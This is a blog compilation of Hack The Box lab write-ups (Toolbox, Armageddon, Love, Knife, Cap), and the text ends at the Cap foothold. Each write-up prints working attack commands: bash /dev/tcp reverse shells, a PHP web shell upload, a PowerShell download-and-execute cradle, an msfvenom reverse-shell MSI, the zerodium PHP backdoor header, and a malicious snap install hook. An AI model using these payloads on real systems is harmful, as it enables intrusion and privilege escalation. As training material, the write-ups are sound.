Hack The Box Toolbox Writeup

Toolbox is an easy Windows machine created by MinatoTW on Hack The Box and was released on the 12th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Toolbox. In order to complete this box you will need basic web knowledge. By completing this box you will learn to leverage PostgreSQL SQL Injection for RCE and Docker Toolbox exploitation.

Toolbox Enumeration

First, I spawned the box and sent a single ping request to check if I could talk to it. Next, I performed a Nmap scan that scanned all ports, requested service versions and ran default scripts. I saved the output in all formats to files named Toolbox. I instructed Nmap to send a minimum of 10000 packets per second. However, I wouldn’t advise you to do this on real engagements. 10000 packets per second are quite a lot and could congest the network and cause disruption on the target host.

As a result of the scan, I learnt that the host had a plethora of ports open including 21 for FTP. Furthermore, FTP also allowed anonymous access. SSH was listening on port 22 with the banner informing me that it was OpenSSH for Windows 7.7. Port 443 for HTTP with the banner advising me that it was Apache 2.4.38. The SSL certificate’s common name was admin.megalogistics.com which could be useful later. Finally, ports 139, and 445 were open for SMB. A few other ports were open including 5985 for WinRM.

My first thought was that this box appears to be having an identity crisis. It’s a Windows box with SSH enabled and was also running an Apache webserver. I would have expected to see IIS.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ sudo nmap -sC -sV -p- 10.129.96.171 --min-rate 10000 -oA Toolbox
Toolbox Enumeration

Toolbox Service Enumeration

Starting with the lowest port number, I connected to the FTP service using the username anonymous. I submitted an empty password and was granted access. Next, I listed out the contents of the FTP directory and saw an executable named docker-toolbox.exe. I suspected that it was just there to give me a hint about the environment but I downloaded it anyway. Other than that, there wasn’t anything else on the FTP server.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ ftp 10.129.96.171
Name (10.129.96.171:kali): anonymous
ftp> ls
ftp> get docker-toolbox.exe
Toolbox anonymous ftp

Since SSH was unlikely to be the attack vector I moved on to SMB. I was optimistic that null sessions might be enabled. Unfortunately, they weren’t but through using crackmapexec, I was able to learn the hostname and domain name. The hostname was TOOLBOX and the domain name was Toolbox. For practice, I also ran smbmap and smbclient.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ crackmapexec smb 10.129.96.171 -u '' -p '' --shares
Enumerating SMB

Web Application Enumeration

With the low-hanging fruit picked, I headed to the web application. I visited the IP address over HTTPS in my browser which loaded a logistics web application. I have to commend the author of the box for this one. It seemed like they put a lot of effort in to this application. It had the generic Lorem ipsum text but it felt real.

Toolbox web application

I was capturing the requests and responses in Burp when I noticed something interesting. I ran a few other tools like whatweb too and they all reported the same thing. The HTTP server header was reporting that it was Apache 2.4.38 for Debian. As this is a Windows box, I was now certain that the web application was running inside a Docker container.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ whatweb -a3 https://10.129.96.171/ -v
Toolbox whatweb server header

SSL Certificate Subdomain

I poked around the web application for a bit but I suspected that the subdomain that Nmap found was the path forward. I used the echo tool to append the subdomain to my host file.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ echo "10.129.96.171 admin.megalogistic.com" | sudo tee -a /etc/hosts 

After that, I visited the subdomain in my browser and was presented with a login page. I tried a variety of easily guessable passwords like admin and password but they all failed. Next, I moved on to trying special characters like the single quotation mark. Bingo, the single quotation mark escaped the SQL query and produced an error. The login form was vulnerable to SQL Injection.

Toolbox SQL injection

I looked through my Burp HTTP history and found the log-in POST request. I saved this request to a file so that I could feed it to SQLMap.

Toolbox Saving Log In Request

Toolbox SQL Injection

First, I ran SQLMap with the batch argument so that it would automatically choose the default option in the prompts. Additionally, I used the force SSL option since the target was using SSL. After the initial tests confirmed SQL injection, I enumerated the database. I dumped the contents of the user’s table from the public database. Please note the image below has been edited to only show the relevant information.

SQL Map

Next, I used the tool hash-identifier to identify the hash. The error message produced when identifying the SQL injection suggested it was an MD5. I had no doubt that it’s an MD5 but this way I get to show off a cool tool.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ hash-identifier 4a100a85cb5ca3616dcf137918550815 
Hash identifer

Next, I attempted to crack the hash with Hashcat and John using the rockyou wordlist. Unfortunately, neither of them was able to crack the hash. I also uploaded the hash to crackstation.net but it also didn’t recognise the hash. Moving on, I used a traditional logic authentication bypass to log in to the application. By submitting the logic of “or 1=1 — -” to the login form, it bypasses authentication regardless of the password being correct.

App SQL injection

However, this seemed to be a dead end. Other than being able to retrieve a few email addresses, there wasn’t much I could do.

admin email addresses

Toolbox SQL Injection To Foothold

With the application thoroughly investigated, I went back to the drawing board. The help menu for SQLMap shows that there is a –os-shell command. The os shell will prompt for an interactive operating system shell. I appended this command to my initial SQLMap command and successfully received a command shell.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ sudo sqlmap -r request --batch --force-ssl --os-shell
SQL Map Command Shell

I set up a netcat listener on my attack machine and then sent myself a reverse shell via the os-shell.

os-shell> bash -c "bash -i >& /dev/tcp/10.10.14.54/9001 0>&1"

The reverse shell connected back to my netcat listener and I was able to capture the user.txt flag.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ sudo nc -lvnp 9001                                            
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.96.171] 50127
bash: cannot set terminal process group (1574): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/lib/postgresql/11/main$ cd ~
[email protected]:/var/lib/postgresql$ cat user.txt
cat user.txt
f01▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓c6a  flag.txt

Toolbox Host Enumeration

First things first, I located the Python3 and Bash binaries so that I could upgrade my shell. Using the Python3 trick, I upgraded my shell to make it more usable.

[email protected]:/var/lib/postgresql$ which python3
/usr/bin/python3
[email protected]:/var/lib/postgresql$ which bash                            
/bin/bash
[email protected]:/var/lib/postgresql$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Confident that I was inside a Docker container, I ran ifconfig. I could have ran LinPEASS which would have confirmed it but the following way works too. A tell-tale sign of being inside a container is that the IP address doesn’t match the target. The results of ifconfig showed that the IP address of the host was 172.17.0.2. The Docker host was likely going to be the first IP address in the subnet (172.17.0.1).

Toolbox ifconfig

Toolbox Privilege Escalation

According to the boot2docker github page, you can ssh to the docker host using the username docker and the password tcuser.

boot2docker

With this information, I attempted to ssh to the 172.17.0.1 IP address. However, I received SSH key permission errors on my first attempt. Initially, I had fully upgraded my shell by exporting term to xterm and that caused issues. After reconnecting and spawning a bash shell, I could SSH to the host. Once on the host, I ran sudo -l and learnt that I could switch the user to the root user without a password.

I switched to the root user and started enumerating the system. As it was a Windows system, I checked the contents of the Administrator user’s home directory. As a result, I found the Administrator user’s SSH private key.

I quickly stole the private key and saved it to a file on my attack machine. I gave the key 600 permissions and used it to SSH to the target as the administrator user. From here I was able to steal the root.txt flag.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ vim key                                                                                                                                                         
┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ chmod 600 key                                                                                                                                                  
┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ ssh -i key [email protected]
[email protected] C:\Users\Administrator\Desktop>type root.txt 
cc9▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓1b3 

Toolbox Learnings

The Toolbox box was a lot of fun. Admittedly, I was disappointed that it was more Linux than Windows. However, that feeling passed once I completed the box. I learnt something new from the foothold but did fall down some rabbit holes on the way. Once on the box, I struggled with my shell not allowing me to SSH to the next host. This is something I need to investigate further as I don’t understand what was wrong.

The privilege escalation taught me about the particular quirks of the service in use. Once I knew what needed to be done, the rest was easy. This box taught me a few new things but also made me aware that my skills are improving. I was able to quickly identify that something suspicious was going on. Anyway, this box was a blast. Thanks for the box.

Hack The Box Armageddon Writeup

Armageddon is an easy Linux box created by bertolis on Hack The Box and was released on the 27th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Armageddon. The skills required to complete this box are Basic Linux Knowledge. The skills learnt from completing this box are Drupal exploitation and Snap package manager exploitation.

Armageddon Enumeration

I connected to the Hack The Box VPN and clicked the button to spawn the box. To ensure I could talk to the box, I sent a single ping request and the box kindly responded. Next, I ran a Nmap scan that targeted all ports, enumerated service versions, ran default scripts and saved all output types. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, I learnt that the webserver was running Apache 2.4.6 and that the application used the Drupal Content Management System.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo nmap -sC -sV -p- 10.129.48.89 --min-rate 10000 -oA Armageddon
Armageddon Enumeration

Web Application Enumeration

The Nmap scan identified a number of files that contained useful information. For example, the CHANGELOG.txt file disclosed the version history of Drupal 7. The changelog showed that the last update was 7.5.6, As a result, I was able to search for vulnerabilities affecting that particular version of Drupal.

Drupal Changelog version disclosure

I used searchsploit to search for vulnerabilities that affected Drupal version 7.56. The results indicated that there were several authenticated and unauthenticated remote code execution vulnerabilities. Furthermore, a number of these vulnerabilities had Metasploit modules.

┌──(kali㉿kali)-[/opt/droopescan]
└─$ sudo searchsploit Drupal 7.56 
Armageddon Searchsploit

Armageddon Foothold With Drupalgeddon

First, I launched Metasploit with the msfconsole command. Next, I searched for drupalgeddon2 which produced 1 result. I selected the module by using the use command followed by the module number displayed in the search results. After that, I configured the module by setting the RHOSTS parameter to the IP address of the target. Finally, I set the LHOST parameter to tun0 (my VPN interface) and then ran the exploit. After a brief period, I received a meterpreter session.

Armageddon Foothold With Drupalgeddon

Time to start pillaging. Now that I had a shell on the box, I started looking for useful information. I knew that Drupal was a database-powered website so started looking for the database configuration file. After a quick Google search, I learnt that Drupal stores the database connection details in a file called settings.php in the sites/default directory. I viewed the contents of the file and stole the credentials.

Unfortunately, the shell didn’t play well when logging into the database. When running queries, the results weren’t returned to the terminal. I’m not entirely sure what the problem was but it meant I had to change my approach. I used the following commands to retrieve the users from the user’s table.

mysql -u 'drupaluser' --password='[email protected]*m23gBVj' -e 'show databases'
mysql -u 'drupaluser' --password='[email protected]*m23gBVj' -D drupal -e 'show tables'
mysql -u 'drupaluser' --password='[email protected]*m23gBVj' -D drupal -e 'describe users'
mysql -u 'drupaluser' --password='[email protected]*m23gBVj' -D drupal -e 'select uid,name,pass,login from users'

uid     name    pass    login
0                       0
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276

Lateral Movement

I saved the password hash to a file and searched on the hashcat example hashes web page for the type of hash. As a result, I learnt that hashes that start with ‘$S$’ appear to be specific to Drupal 7. The hashcat cracking mode for these hashes is 7900. I used hashcat to crack the hash which revealed that the password was booboo.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt 
Hashcat cracking passowrd

I then used the password to log in via SSH as the brucetherealadmin user. From here I was able to capture the user.txt password.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ ssh [email protected]
The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.48.89' (ED25519) to the list of known hosts.
[email protected]'s password: 
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealad[email protected] ~]$ cat user.txt
e91▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2fc

Armageddon Host Enumeration

With the user flag captured, I started enumerating the system. I tend to run some commands before resulting to LinPEASS. First, I tend to check to see if the user can run anything with sudo privileges. From running sudo -l, I learnt that the user could install snap packages.

[[email protected] ~]$ sudo -l
Armageddon sudo -l

Next, I headed to GTFO Bins to see if there were any techniques that would allow me to exploit this privilege. As a result, I learnt that having the ability to run snap as sudo could allow privilege escalation. Since it snap doesn’t drop the elevated privileges it could be used to access the rest of the file system with those privileges.

GTFO BIns SNAP

I followed the example on GTFO bins but ran into a problem. When trying to execute the line starting with fpm, the system reported that the fpm command wasn’t found.

fpm fail

However, this reminded me of LXC and Docker container escapes. Perhaps if I created the snap locally and then uploaded it to the server, I could use the install command to install it. First I needed to install snap locally. I tried to run it and Kali was kind enough to tell me it could install it.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ snap                                                                 
Command 'snap' not found, but can be installed with:
sudo apt install snapd
Do you want to install it? (N/y)y

I then installed FPM with gem as follows.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo gem install --no-document fpm

Armageddon Privilege Escalation

The next step was to create the snap and download it onto the target box and install it. However, I ran into problems so I watched IppSec’s video >>HERE<< to guide me through it. First, on the target box, I copied /usr/bin/bash to /home/brucetherealadmin/bash.

[[email protected] ~]$ cp /usr/bin/bash ~/bash

Next, I modified the payload as shown below and executed it on my local system.

COMMAND="chown root:root /home/brucetherealadmin/bash; chmod 4755 /home/brucetherealadmin/bash"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta

Then, I span up a Python webserver.

┌──(kali㉿kali)-[/tmp/tmp.fd5g4ogYTU]
└─$ sudo python3 -m http.server 80 

Finally, I downloaded the snap using cURL and installed it.

[[email protected] tmp.daj9QvnIzU]$ curl http://10.10.14.54/xxxx_1.0_all.snap -o bash.snap

[[email protected] ~]$ sudo snap install bash.snap --dangerous --devmode

As you can see from the screenshot below, the snap was installed successfully. However, more importantly, it ran the command to change the ownership and permissions of the bash file. The file was now owned by root and had setuid set.

I could now run the bash binary and capture the root flag.

[[email protected] ~]$ ./bash -p
bash-4.2# cat /root/root.txt
ace▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓138

Armageddon Learnings

I enjoyed this box but thought it was tricky once I had established a foothold. The method of gaining a foothold was simple. It helped me reinforce some Drupal knowledge and I learnt about the specific exploit. Once I was on the box I ran into problems. However, I learnt some valuable lessons about ways to interact with MySQL.

In theory, the privilege escalation should have been simple but I struggled. I haven’t done much with Snap so my brain automatically thought that it was harder than it was. Now that I’ve completed it, it seems easy. Anyway, another one bites the dust. Thanks for the box.

Hack The Box Love Writeup

Love is an easy Windows box created by pwnmeow on Hack The Box and was released on the 1st of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Love. To hack this box is it recommended that you have Windows enumeration and web enumeration skills. From hacking this box, you will learn exploit modification, server-side request forgery, applocker policies, and always install everything misconfiguration.

Love Enumeration

After spawning the box, I sent a single ping request to ensure it was online. I then followed up with a Nmap scan targeting all ports, requesting service versions, and running default scripts. Finally, I gave it a minimum packet rate of 10000 and said to output all formats. From the results, I learnt that there were several ports open. This included various ports for HTTP, 445 for SMB, 3306 for MySQL, 5985 and 5986 for HTTPAPI or WinRM, the list goes on.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nmap -sC -sV -p- 10.129.48.103 --min-rate 10000 -oA love
Enumerating Love

As SMB was listening, the first thing I did was run crackmapexec to enumerate shares and host information. From the results, I learnt that it was a Windows 10 Pro box with the hostname LOVE. The domain was also called Love which suggests the box is not a domain controller (as they have the same name). Furthermore, SMBv1 was enabled.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ crackmapexec smb 10.129.48.103 
Crackmapexec

Love Web Application Enumeration

After poking SMB, I went to take a look at the web application. First, I visited the application in my browser and saw that it was a type of voting application. Next, I appended various extensions to the end of the index page. As a result, I learnt that the application was written in PHP.

Love PHP Application

Following that, I ran whatweb against the application and learnt that the PHP version was 7.3.27. Furthermore, I also learnt that the Apache version was 2.4.46 and that the application was using the Bootstrap framework.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo whatweb -a3 http://10.129.48.103/ -v 
Whatweb

I also ran a gobuster scan to try to identify any directories or files that would disclose sensitive information about the application. However, other than some 301 and 302 redirections and a bunch of 403 errors, I didn’t find much.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ gobuster dir -u http://10.129.48.103/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,txt,bak -o gobuster.love.txt
Love Gobuster

More Love Application Enumeration

I decided to look at the other HTTP ports that were discovered during the Nmap scan. Therefore, I punched the IP address of the box into my browser and specified port 5000. Immediately, I received a Forbidden error. I shouldn’t have been surprised by this as Nmap displayed the forbidden error in the results.

Forbidden error.

Subdomains and Virtual Hosts

I revisited the results of the Nmap scan to choose which service to poke at next. It was then that I noticed the common name of the SSL certificate on port 443. Below, you can see the output from the Nmap scan showing the subdomain of staging.love.htb.

Love SSL Common Name

Immediately, I excitedly added the IP address and new subdomain to my host file. Surely this was the foothold that I’d been looking for. Finally, I found a weakness in this box’s armour! I entered the domain into my browser and…. Forbidden. Wow, talk about rejection.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ echo '10.129.48.103 staging.love.htb' | sudo tee -a /etc/hosts
403 Forbidden

However, visiting the subdomain via HTTP instead of HTTPS loaded a page. I poked around the application for a bit and noticed a demo page. In short, the demo page is a free file scanner that allows the user to submit a URL with a file for scanning.

Love Staging.Love.HTB.

Server-Side Request Forgery

I wanted to see if the demo page worked so I set up a netcat listener on my local machine. Next, I input the location of a file into the Scan File input box and sent the request. Sure enough, the application pulled the file down from my host and displayed the contents. Admittedly, my first thought was to try and get it to execute a payload by downloading it from my host. However, those attempts failed.

Love Scan File Functionality.

There is a Web Application vulnerability known as Server Side Request Forgery. In short, SSRF exploits the box’s own trust. Because the resource request is sent from the box itself, it may allow access to otherwise forbidden files. To illustrate, I input the loopback address of 127.0.0.1 followed by port 5000 into the URL box. This was the page I was previously unable to access. Upon sending the request, I received credentials.

Server Side Request Forgery

Voting System Admin

With the username and password successfully stolen via SSRF, I headed back to the voting system by navigating to the IP address. Next, I supplied the stolen credentials and… they didn’t work. This is another one of those easy boxes which seems more difficult than it is because it takes so long.

Login incorrect

Fortunately, I ran a gobuster earlier and remember seeing a 301 redirection from /admin to /admin/. This is where gobuster attempted to load a file called admin but was redirected to a directory called admin, likely containing a PHP file. Therefore, I headed to the admin directory and was able to log in with the credentials.

Voting System Backend

Love RCE POC

I noticed the Copyright disclaimer at the bottom of the page and decided to perform a Google search for the name SourceCodeStar. After a few Google searches, I stumbled upon several Exploit Database pages which suggested there was an authenticated remote code execution. Unfortunately, there didn’t appear to be a CVE number associated with it.

Exploit Database

Admittedly, I wanted some guidance on this step so I am going to copy what IppSec did >>HERE<<. First, I navigated to the Voters menu option and clicked the New button. This spawned the window you see below. I populated the window with some test data and selected a jpeg file for the photo.

Creating A Voter

Next, I turned intercept on and clicked the save button. Burp successfully intercepted the request which I then modified. I changed the filename to “haxez.php” and then removed the jpeg data and replaced it with a PHP web shell.

------WebKitFormBoundaryM93O7d6XpEp6S0dP
Content-Disposition: form-data; name="photo"; filename="haxez.php"
Content-Type: image/jpeg
<?php system($_REQUEST["cmd"]); ?>
Burp Intercepted Request

Then, I navigated to the payload in my browser and passed the dir command to the cmd parameter. It successfully listed out the contents of the directory.

Web Shell directory listing

Love Foothold

Now that I had command execution, it was time to get on the box using a reverse shell. I downloaded nishang from >>HERE<< and copied the Invoke-PowerShellTcpOneLine.ps1 payload to my current working directory. Next, I opened the payload with VIM and changed the IP address and port to my tun0 IP address and port 9001.

Nishang payload

Then, I sent my original directory listing request to Burp repeater and changed the request method to a POST. Next, I started a netcat listener and then added the following Payload to Burp and sent the request. I instantly received a 404 error. There must be a clean-up script on the box that is removing the payloads.

cmd=powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.36/hax.ps1')"

I quickly repeated the process by uploading a new command shell and executing the above payload. Finally, I got a reverse shell and had a foothold on the box. From here, I was able to grab the user flag from the phoebe users desktop directory.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nc -lvnp 9001                                             
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59730
PS C:\xampp\htdocs\omrs\images> whoami
love\phoebe
PS C:\xampp\htdocs\omrs\images> type C:\Users\phoebe\Desktop\user.txt
d85▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓319

Love Privilege Escalation

After capturing the user flag, I download the latest version of the 64 bit obfuscated WinPEASS binary. Next, I spawn a Python3 web server and used cURL to download the binary to the target machine. Finally, I ran the executable and saw that the AlwaysInstallElevated value was set to 1 which I presume means it was enabled. Quoting directly from the HackTricks article “If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.”. Is this a useful setting to have as a sysadmin? it seems a bit odd.

WinPEAS

With this knowledge, I went back to my Linux terminal and used msfvenom to create an MSI payload. The output below will create a Windows x64 reverse shell that connects back to my local host on port 9002. The file type is specified as an MSI file and I saved the output to payload.msi.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.36 LPORT=9002 -f msi > payload.msi
Love msfvenom payload

I set up a netcat listener to listen on port 9002 and then used cURL to download the payload from the Python web server I still had running. I specified the -o flag to save the payload as payload.msi.

PS C:\users\public\documents> curl http://10.10.14.36/payload.msi -o payload.msi
PS C:\users\public\documents> .\payload.msi 

Finally, I ran the payload and thankfully, I received a connection back to the netcat listener. I now had a reverse shell as the nt authority\system user and could finally capture the root flag.

──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nc -lvnp 9002                                           
[sudo] password for kali: 
listening on [any] 9002 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59734
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>type \users\administrator\desktop\root.txt
type \users\administrator\desktop\root.txt
64b▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓95f

Love Learnings

Love requires patience… the initial enumeration stage of this box took longer than I had hoped. It felt like I was jumping through hoops but it taught me valuable lessons about enumeration. It’s one of those boxes that seemed difficult due to the level of enumeration required to get a foothold, but the actual exploit is easy. Furthermore, it does a great job of demonstrating Server Side Request Forgery which I hadn’t really done before.

The privilege escalation was a lot of fun and fairly simple to pull off. I didn’t know about this method of privilege escalation until today so I’ve learnt that too. Overall it’s a fun box but it definitely tested my patience at times. My initial PHP shell just up and vanished so I had to upload that again before getting my reverse shell. For me, it was educational and taught me new techniques which is what I want from an easy box. Thanks for the box.

Hack The Box Knife Writeup

Knife is an easy Linux box created by MrKN16H7 on Hack The Box and was released on the 22nd of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Knife. The suggested required knowledge to complete this box is enumeration, basic Knowledge of Linux and OWASP Top 10. The skills learned are web exploitation and knife sudo exploitation.

Knife Enumeration

First, I sent a ping request to the box to ensure it was online and that I could talk to it. Next, I performed a Nmap scan against all ports, running default scripts and requesting service versions. I set the minimum packet rate to 10000 and saved all outputs to a file named knife. As a result, I learnt that ports 22 for SSH and port 80 for HTTP were open. The SSH banner suggested the box had an Ubuntu operating system. The results from port 80 informed me that it was running Apache 2.4.41 and that the web application had the title Emergent Medial Idea.

┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo nmap -sC -sV -p- 10.129.225.186 --min-rate 10000 -oA knife
Knife Nmap Results

Web Application Enumeration

When performing Web Application penetration tests, there are two tools that I always run. First, I like to run whatweb to identify the technologies in use. I’m not sure how whatweb gathers its information but the results suggest it sends a request to the server and then checks the headers. From the results, I learnt that the Web Application was utilising PHP 8.1.0-dev. Not much else was reported back that Nmap hadn’t already discovered.

┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo whatweb -a3 http://10.129.225.186/ -v 
Knife Whatweb

Next, I like to run Nikto which is a web application vulnerability scanner. An initial scan with Nikto also identified the PHP version as 8.1.0-dev and reported that several security-related HTTP headers were missing but not much else.

Knife Nikto Resulsts

Despite several tools not identifying a vulnerability, I started to suspect where one might be. However, I continued enumerating by visiting the web application and poking around. There wasn’t much to the application and the links didn’t appear to work.

Knife Web Application

PHP Backdoor Remote Code Execution

The PHP version had dev in the name which instantly made me suspicious. Consequently, I performed a Google search for the version and the top result was a GitHub repository for a backdoor RCE vulnerability. I wonder whether Nmap scripts or Burp Professional would have reported this as a finding. I might check that later.

Google search for PHP version

Next, I navigated to the Exploit Database entry for this finding to view the code. As a result, I learnt that the backdoor checks to see if the User-Agentt header is present (notice the two tt’s) and whether that header has the value zerodium. If both those conditions are true then whatever comes directly after zerodium gets executed by eval.

Exploit Database PHP exploit

For example, if I used the system function to execute the external ping command then I could use tcpdump and check if it pings my host. As you can see below, this is exactly what I did. I set tcpdump to listen on tun0 for ICMP packets. Next, I added the malicious header and my command to ping my host. Sure enough, the target sent 4 ICMP packets to my host.

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
User-Agentt: zerodium system("ping -c 4 10.10.14.36");
Ping

Knife Foothold

With remote code execution confirmed, I used it to gain a reverse shell on the host. First, I set up a netcat listener on port 1337. Next, I modified the ping command to a bash reverse shell. Finally, I sent the request and the application hung (good sign). I checked my netcat listener and I received a connection from the target host.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
User-Agentt: zerodium system("bash -c 'bash -i >& /dev/tcp/10.10.14.36/1337 0>&1'");
Knife Reverse Shell

I now had access to the box as the james user and was able to capture the user.txt flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337                                          
listening on [any] 1337 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.225.186] 44714
[email protected]:~$ cat user.txt
cat user.txt
ce1▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓64d

Knife Privilege Escalation

First, I used the private key in james’s .ssh directory to SSH back to the box. This achieved two things, the first being a more stable shell, and the second was persistence. Next, I ran sudo -l to see if james could execute any commands as root. As a result, I learnt that james could run knife as sudo.

[email protected]:~$ sudo -l
sudo -l

Knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. It helps users manage nodes, cookbooks and recipes, roles, environments, and data bags. Knife includes a collection of built-in subcommands that work together to provide the functionality required to take specific actions against any object in an organization. These subcommands allow knife to issue commands that interact with any object stored in the chef-repo or stored on the Chef Infra Server. Searching GTFO-Bins for knife, I learnt that knife can execute commands such as spawning a shell. Since I can run it as root, I should be able to give myself a root shell and capture the root.txt flag.

I copied the command and ran it. Sure enough, I was root and could capture the root flag.

[email protected]:~$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
[email protected]:~$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
f35▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0b9

Knife Learnings

This was a fun box which taught me about the PHP backdoor vulnerability. I believe I had read about it a while ago but didn’t immediately associate the version with the vulnerability. I enjoyed learning about why it is vulnerable and how to exploit it. It helped to build up my knowledge of dangerous functions in PHP.

The privilege escalation was nice and simple and didn’t require much effort. I do enjoy a challenge but sometimes is nice to have an easy win. I learnt a bit about Knife and Chef which was good. There isn’t much more to say about the box honestly. It would be great for beginners and I had a lot of fun popping it. Thanks for the box.

Hack The Box Cap Writeup

Cap is an easy Linux machine created by InfoSecJack on Hack The Box and was released on 05 Jun 2021. Ahoy mateys! Welcome to Haxez where today I will commit mutiny by pillaging and plundering the Cap. This box requires web enumeration and packet capture analysis skills and will teach IDOR and exploiting Linux capabilities. Let’s set sail!

Cap Host Enumeration

Initially, I pinged the box to ensure that it was online. Once I had confirmed I could communicate with it, I started a Nmap scan. I scanned all ports requesting service versions and running default scripts. From the results, I learnt that ports 21 for FTP, 22 for SSH and 80 for HTTP were open. The FTP banner informed me that it was VSFTP version 3.0.3 so no smiley face vulnerability. The SSH banner revealed the server to Ubuntu. Lastly, the HTTP results reported that it was a Gunicorn web server which admittedly I didn’t know existed. However, performing a quick search reveals that it’s a Python webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ sudo nmap -sC -sV -p- 10.129.229.43 --min-rate 10000 -oA cap
Cap Nmap

Nmap should have identified if anonymous logins were allowed but I tried anyway. However, as you can see below, 503 login is incorrect. I will need some credentials before I’m able to access it.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ftp 10.129.229.43 
Cap FTP Login

Cap Web Application Enumeration

With FTP and SSH unlikely to be my foothold, I navigate to the web application. I’m not quite sure how to describe this application. It shows the IP configuration and Network status of the logged-in user. Furthermore, it has what appears to be a packet analysis page with the option to download a PCAP.

Cap Web Application

Because FTP is a cleartext protocol, the PCAP could be useful. For example, If I were to run Wireshark on tun0 and then log in to the FTP service. The credentials I logged in with would be transmitted to the server in plaintext. Additionally, if someone were on the same network as me, they could intercept my traffic and steal my username and password.

Packet Analysis

Initially, I downloaded the available packet capture but after looking through it there wasn’t anything interesting. However, the URL was specifying the packet capture file number to download. For instance, if changed the number after the /data/ endpoint to 0, it would let me download the packet capture file named 0. This type of vulnerability is known as an IDOR or indirect object reference vulnerability. It’s where someone can access parts of the application that there not supposed to.

IDOR vulnerability

Since the admin is usually the first user on the box, I changed the value to 0 and download the file. Next, I opened it with Wireshark and the Nathans FTP credentials were there waiting to be plundered. I could have filtered the packets by FTP if it was a larger packet capture, however, the credentials were the first thing I noticed.

FTP Packet Capture

Cap Foothold

